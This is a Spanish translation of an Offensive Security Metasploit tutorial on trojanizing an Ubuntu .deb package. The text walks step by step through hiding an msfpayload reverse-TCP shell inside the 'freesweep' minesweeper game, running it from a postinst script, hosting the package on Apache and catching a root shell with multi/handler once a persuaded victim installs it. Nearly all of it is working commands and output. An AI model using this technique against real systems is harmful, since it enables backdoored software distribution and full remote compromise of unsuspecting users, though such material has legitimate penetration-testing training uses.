Troyanos Binarios para Linux
De www.metasploit-es.com.ar
A fin de demostrar que los ataques client side y troyanos no son exclusivos en el mundo de Windows, se cargara un paquete en el payload de Metasploit con un paquete .deb de Ubuntu para que nos de una shell en Linux.
Un excelente video fue hecho por Redmeat_uk demostrando esta tecnica que puedes ver en http://securitytube.net/Ubuntu-Package-Backdoor-using-a-Metasploit-Payload-video.aspx
Primero tenemos que descargar el paquete que vamos a infectar y mover a un directorio temporal de trabajo. En nuestro ejemplo, vamos a utilizar el paquete "freesweep", una version de texto del Buscaminas.
root@bt4:/pentest/exploits/framework3# apt-get --download-only install freesweep Reading package lists... Done Building dependency tree Reading state information... Done ...snip... root@bt4:/pentest/exploits/framework3# mkdir /tmp/evil root@bt4:/pentest/exploits/framework3# mv /var/cache/apt/archives/freesweep_0.90-1_i386.deb /tmp/evil root@bt4:/pentest/exploits/framework3# cd /tmp/evil/ root@bt4:/tmp/evil#
A continuacion, extraemos el paquete a un directorio de trabajo y creamos en directorio DEBIAN para agregar las "caracteristicas" adicionales.
root@v-bt4-pre:/tmp/evil# dpkg -x freesweep_0.90-1_i386.deb work root@v-bt4-pre:/tmp/evil# mkdir work/DEBIAN
En el directorio "DEBIAN", cree un archivo llamado "control" que contendra lo siguiente:
root@bt4:/tmp/evil/work/DEBIAN# cat control Package: freesweep Version: 0.90-1 Section: Games and Amusement Priority: optional Architecture: i386 Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com) Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use.
Tambien tenemos que crear script de post-instalacion que ejecutara nuestro binario. En "DEBIAN", creamos un archivo llamado "postinst" que contiene lo siguiente:
root@bt4:/tmp/evil/work/DEBIAN# cat postinst #!/bin/sh
sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &
Ahora vamos a crear nuestro payload malicioso. Creamos una shell inversa para que se conecte de nuevo a nosotros llamada "freesweep_scores".
root@bt4:/pentest/exploits/framework3# ./msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=443 X > /tmp/evil/work/usr/games/freesweep_scores Created by msfpayload (http://www.metasploit.com). Payload: linux/x86/shell/reverse_tcp Length: 50 Options: LHOST=192.168.1.101,LPORT=443
Ahora hacemos ejecutable el script de post-instalacion y construimos un nuevo paquete. El archivo de construccion sera llamado "work.deb", lo cambiamos a "freesweep.deb" y copiamos el paquete a la raiz del directorio web.
root@bt4:/tmp/evil/work/DEBIAN# chmod 755 postinst root@bt4:/tmp/evil/work/DEBIAN# dpkg-deb --build /tmp/evil/work dpkg-deb: building package `freesweep' in `/tmp/evil/work.deb'. root@bt4:/tmp/evil# mv work.deb freesweep.deb root@bt4:/tmp/evil# cp freesweep.deb /var/www/
Si no se esta ejecutando, tendremos que iniciar el servidor web Apache.
root@bt4:/tmp/evil# /etc/init.d/apache2 start
Tendremos que configurar en Metasploit el multi/handler para que reciba las conexiones entrantes.
root@bt4:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=443 E [*] Please wait while we load the module tree... [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Starting the payload handler...
A nuestra victima de Ubuntu, tendremos de alguna manera convencerla para que descargue e instala nuestro fantastico y nuevo juego.
ubuntu@ubuntu:~$ wget http://192.168.1.101/freesweep.deb ubuntu@ubuntu:~$ sudo dpkg -i freesweep.deb
Mientras la victima instala y juega nuestro juego, nosotros recibiremos una shell!
[*] Sending stage (36 bytes) [*] Command shell session 1 opened (192.168.1.101:443 -> 192.168.1.175:1129) ifconfig eth1 Link encap:Ethernet HWaddr 00:0C:29:C2:E7:E6 inet addr:192.168.1.175 Bcast:192.168.1.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:49 errors:0 dropped:0 overruns:0 frame:0 TX packets:51 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:43230 (42.2 KiB) TX bytes:4603 (4.4 KiB) Interrupt:17 Base address:0x1400 ...snip... hostname ubuntu id uid=0(root) gid=0(root) groups=0(root)
© Offensive Security 2009
- Original by www.offensive-security.com
- Traslated by Jhyx